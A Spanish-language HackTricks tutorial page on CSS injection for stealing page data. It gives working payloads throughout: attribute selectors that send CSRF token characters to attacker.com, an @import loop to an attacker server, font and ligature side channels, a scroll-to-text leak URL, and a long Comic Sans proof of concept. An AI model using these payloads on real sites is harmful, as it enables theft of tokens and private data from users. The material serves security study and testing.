.. | ||
css-injection-code.md | ||
README.md |
Inyección de CSS
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sigueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github de HackTricks y HackTricks Cloud.
Inyección de CSS
Selector de Atributos
La técnica principal para exfiltrar información mediante Inyección de CSS es intentar coincidir un texto con CSS y en caso de que exista dicho texto cargar algún recurso externo, como:
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
Sin embargo, ten en cuenta que esta técnica no funcionará si, en el ejemplo, el csrf name input es de tipo hidden (y usualmente lo son), porque el fondo no se cargará.
Sin embargo, puedes bypass este impedimento haciendo que, en lugar de que el elemento oculto cargue un fondo, simplemente hagas que cualquier cosa después de él cargue el fondo:
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
Algunos ejemplos de código para explotar esto: https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e
Prerrequisitos
- La inyección de CSS necesita permitir cargas útiles suficientemente largas
- Capacidad para enmarcar la página para desencadenar la reevaluación de CSS de cargas útiles recién generadas
- Capacidad para usar imágenes alojadas externamente (podría estar bloqueado por CSP)
Selector de Atributo Ciego
Como se explica en esta publicación, es posible combinar los selectores :has
y :not
para identificar contenido incluso de elementos ciegos. Esto es muy útil cuando no tienes idea de lo que hay dentro de la página web que carga la inyección de CSS.
También es posible usar esos selectores para extraer información de varios bloques del mismo tipo como en:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>
Combinando esto con la siguiente técnica de @import, es posible exfiltrar mucha información utilizando inyección de CSS en páginas ciegas con blind-css-exfiltration.
@import
La técnica anterior tiene algunas desventajas, verifica los requisitos previos. Necesitas poder enviar múltiples enlaces a la víctima, o necesitas poder enmarcar la página vulnerable a inyección de CSS.
Sin embargo, hay otra técnica ingeniosa que utiliza CSS @import
para mejorar la calidad de la técnica.
Esto fue mostrado por primera vez por Pepe Vila y funciona de la siguiente manera:
En lugar de cargar la misma página una y otra vez con decenas de payloads diferentes cada vez (como en la anterior), vamos a cargar la página solo una vez y solo con una importación al servidor del atacante (este es el payload para enviar a la víctima):
@import url('//attacker.com:5001/start?');
- La importación va a recibir algún script CSS de los atacantes y el navegador lo cargará.
- La primera parte del script CSS que el atacante enviará es otro
@import
al servidor del atacante de nuevo. - El servidor del atacante aún no responderá a esta solicitud, ya que queremos filtrar algunos caracteres y luego responder a este import con la carga útil para filtrar los siguientes.
- La segunda y mayor parte de la carga útil será un payload de filtración de selector de atributos
- Esto enviará al servidor del atacante el primer carácter del secreto y el último
- Una vez que el servidor del atacante haya recibido el primer y último carácter del secreto, responderá al import solicitado en el paso 2.
- La respuesta será exactamente la misma que los pasos 2, 3 y 4, pero esta vez intentará encontrar el segundo carácter del secreto y luego el penúltimo.
El atacante seguirá ese bucle hasta que logre filtrar completamente el secreto.
Puedes encontrar el código original de Pepe Vila para explotar esto aquí o puedes encontrar casi el mismo código pero comentado aquí.
{% hint style="info" %} El script intentará descubrir 2 caracteres cada vez (desde el principio y desde el final) porque el selector de atributos permite hacer cosas como:
/* value^= to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
/* value$= to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
Esto permite que el script filtre el secreto más rápido. {% endhint %}
{% hint style="warning" %}
A veces el script no detecta correctamente que el prefijo + sufijo descubierto ya es la bandera completa y continuará hacia adelante (en el prefijo) y hacia atrás (en el sufijo) y en algún momento se colgará.
No te preocupes, solo revisa el output porque puedes ver la bandera allí.
{% endhint %}
Otros selectores
Otras formas de acceder a partes del DOM con selectores CSS:
.class-to-search:nth-child(2)
: Esto buscará el segundo elemento con la clase "class-to-search" en el DOM.:empty
selector: Usado por ejemplo en este writeup:
[role^="img"][aria-label="1"]:empty { background-image: url("TU_SERVIDOR_URL?1"); }
XS-Search basado en errores
Referencia: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq
Básicamente la idea principal es usar una fuente personalizada desde un endpoint controlado por nosotros en un texto que se mostrará solo si el recurso no puede cargarse.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://ourenpoint.com/?leak);
unicode-range:U+0041;
}
#poc0{
font-family: 'poc';
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
Estilizando Fragmento de Desplazamiento al Texto
Cuando un fragmento de URL apunta a un elemento, la pseudo-clase :target
puede ser utilizada para seleccionarlo, pero ::target-text
no coincide con nada. Solo coincide con texto que es específicamente apuntado por el [fragmento].
Por lo tanto, un atacante podría usar el fragmento Scroll-to-text y si se encuentra algo con ese texto podemos cargar un recurso (vía inyección HTML) desde el servidor del atacante para indicarlo:
:target::before { content : url(target.png) }
Un ejemplo de este ataque podría ser:
{% code overflow="wrap" %}
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
{% endcode %}
Lo cual consiste en abusar de una inyección HTML enviando el código:
{% code overflow="wrap" %}
<style>:target::before { content : url(http://attackers-domain/?confirmed_existence_of_Administrator_username) }</style>
{% endcode %}
con el fragmento de desplazamiento al texto: **`#:~:text=Administrador`**
Si se encuentra la palabra Administrador, se cargará el recurso indicado.
Hay tres mitigaciones principales:
1. **STTF solo puede coincidir con palabras o frases en una página web**, teóricamente haciendo imposible la fuga de secretos o tokens aleatorios (a menos que descompongamos el secreto en párrafos de una letra).
2. Está **restringido a contextos de navegación de nivel superior**, por lo que no funcionará en un iframe, haciendo el ataque **visible para la víctima**.
3. **Se necesita un gesto de activación del usuario para que STTF funcione**, por lo que solo las navegaciones que son resultado de acciones del usuario son explotables, lo que disminuye en gran medida la posibilidad de automatizar el ataque sin interacción del usuario. Sin embargo, hay ciertas condiciones que el autor del post del blog anterior descubrió que facilitan la automatización del ataque. Otro caso similar, se presentará en PoC#3.
1. Hay algunos **bypasses** para esto como **ingeniería social**, o **forzar a extensiones comunes del navegador a interactuar**.
Para más información, consulta el informe original: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
Puedes comprobar un [**exploit utilizando esta técnica para un CTF aquí**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
Puedes especificar **fuentes externas para valores unicode específicos** que solo se **recolectarán si esos valores unicode están presentes** en la página. Por ejemplo:
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>htm
Cuando accedes a esta página, Chrome y Firefox buscan "?A" y "?B" porque el nodo de texto de sensitive-information contiene los caracteres "A" y "B". Pero Chrome y Firefox no buscan "?C" porque no contiene "C". Esto significa que hemos podido leer "A" y "B".
Exfiltración de nodo de texto (I): ligaduras
Referencia: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
Podemos extraer el texto contenido en un nodo con una técnica que combina ligaduras de fuente y la detección de cambios de ancho. La idea principal detrás de esta técnica es la creación de fuentes que contienen una ligadura predefinida con tamaño grande y el uso de cambios de tamaño como oráculo.
Las fuentes se pueden crear como fuentes SVG y luego convertirse a woff con fontforge. En SVG podemos definir el ancho de un glifo a través del atributo horiz-adv-x, por lo que podemos construir algo como <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
, siendo XY una secuencia de dos caracteres. Si la secuencia existe, se renderizará y el tamaño del texto cambiará. Pero... ¿cómo podemos detectar estos cambios?
Cuando el atributo white-space se define como nowrap fuerza al texto a no romperse cuando excede el ancho del padre. En esta situación, aparecerá una barra de desplazamiento horizontal. Y podemos definir el estilo de esa barra de desplazamiento, así que podemos detectar cuando esto sucede :)
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://ourendpoint.com/?leak); }
En este punto el ataque es claro:
- Crear fuentes para la combinación de dos caracteres con un ancho enorme
- Detectar la fuga a través del truco de la barra de desplazamiento
- Usando la primera ligadura filtrada como base, crear nuevas combinaciones de 3 caracteres (añadiendo caracteres antes/después)
- Detectar la ligadura de 3 caracteres.
- Repetir hasta filtrar todo el texto
Todavía necesitamos un método mejorado para iniciar la iteración porque <meta refresh=...
es subóptimo. Podrías usar el truco de @import en CSS para optimizar el exploit.
Exfiltración de nodo de texto (II): filtrando el conjunto de caracteres con una fuente predeterminada (sin requerir activos externos)
Referencia: PoC usando Comic Sans por @Cgvwzq & @Terjanq
Este truco fue publicado en este hilo de Slackers. El conjunto de caracteres utilizado en un nodo de texto puede ser filtrado usando las fuentes predeterminadas instaladas en el navegador: no se necesitan fuentes externas ni personalizadas.
La clave es usar una animación para aumentar el ancho del div de 0 al final del texto, el tamaño de un carácter cada vez. Haciendo esto podemos "dividir" el texto en dos partes: un "prefijo" (la primera línea) y un "sufijo", de modo que cada vez que el div aumenta su ancho, un nuevo carácter se mueve del "sufijo" al "prefijo". Algo así como:
C
ADB
CA
DB
CAD
B
CADB
Cuando un nuevo carácter pasa a la primera línea, se utiliza el truco de unicode-range para detectar el nuevo carácter en el prefijo. Esta detección se realiza cambiando la fuente a Comic Sans, cuya altura es superior por lo que se activa una barra de desplazamiento vertical (filtrando el valor del carácter). De esta manera podemos filtrar cada carácter diferente una vez. Podemos detectar si un carácter se repite pero no qué carácter se repite.
{% hint style="info" %}
Básicamente, el unicode-range se utiliza para detectar un carácter, pero como no queremos cargar una fuente externa, necesitamos encontrar otra manera.
Cuando se encuentra el carácter, se le asigna la fuente Comic Sans preinstalada, lo que hace que el carácter sea más grande y active una barra de desplazamiento que filtrará el carácter encontrado.
{% endhint %}
Revisa el código extraído del PoC:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Exfiltración de nodo de texto (III): filtrando el conjunto de caracteres con una fuente predeterminada ocultando elementos (sin requerir activos externos)
Referencia: Esto se menciona como una solución sin éxito en este informe
Este caso es muy similar al anterior, sin embargo, en este caso el objetivo de hacer que ciertos caracteres sean más grandes que otros es para ocultar algo como un botón para que no sea presionado por el bot o una imagen que no se cargará. Así podríamos medir la acción (o la falta de acción) y saber si un carácter específico está presente dentro del texto.
Exfiltración de nodo de texto (III): filtrando el conjunto de caracteres por tiempo de caché (sin requerir activos externos)
Referencia: Esto se menciona como una solución sin éxito en este informe
En este caso, podríamos intentar filtrar si un carácter está en el texto cargando una fuente falsa desde el mismo origen:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
Si hay una coincidencia, la fuente se cargará desde /static/bootstrap.min.css?q=1
. Aunque no se cargue con éxito, el navegador debería almacenarla en caché, y aunque no haya caché, existe un mecanismo de 304 no modificado, por lo que la respuesta debería ser más rápida que otras cosas.
Sin embargo, si la diferencia de tiempo entre la respuesta almacenada en caché y la no almacenada no es lo suficientemente grande, esto no será útil. Por ejemplo, el autor mencionó: Sin embargo, después de probar, descubrí que el primer problema es que la velocidad no es muy diferente, y el segundo problema es que el bot usa la bandera disk-cache-size=1
, lo cual es realmente considerado.
Exfiltración de nodo de texto (III): revelando el conjunto de caracteres mediante la carga cronometrada de cientos de "fuentes" locales (sin requerir activos externos)
Referencia: Esto se menciona como una solución no exitosa en este informe
En este caso, puedes indicar CSS para cargar cientos de fuentes falsas del mismo origen cuando ocurre una coincidencia. De esta manera, puedes medir el tiempo que toma y averiguar si un carácter aparece o no con algo como:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
Y el código del bot se ve así:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
Suponiendo que la fuente no coincida, el tiempo para obtener la respuesta al visitar el bot debería ser de unos 30 segundos. Si hay una coincidencia, se enviarán varias solicitudes para obtener la fuente, y la red siempre tendrá algo, por lo que tomará más tiempo cumplir con la condición de parada y obtener la respuesta. Por lo tanto, el tiempo de respuesta puede indicar si hay una coincidencia.
Referencias
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
Aprende a hackear AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github de HackTricks y HackTricks Cloud.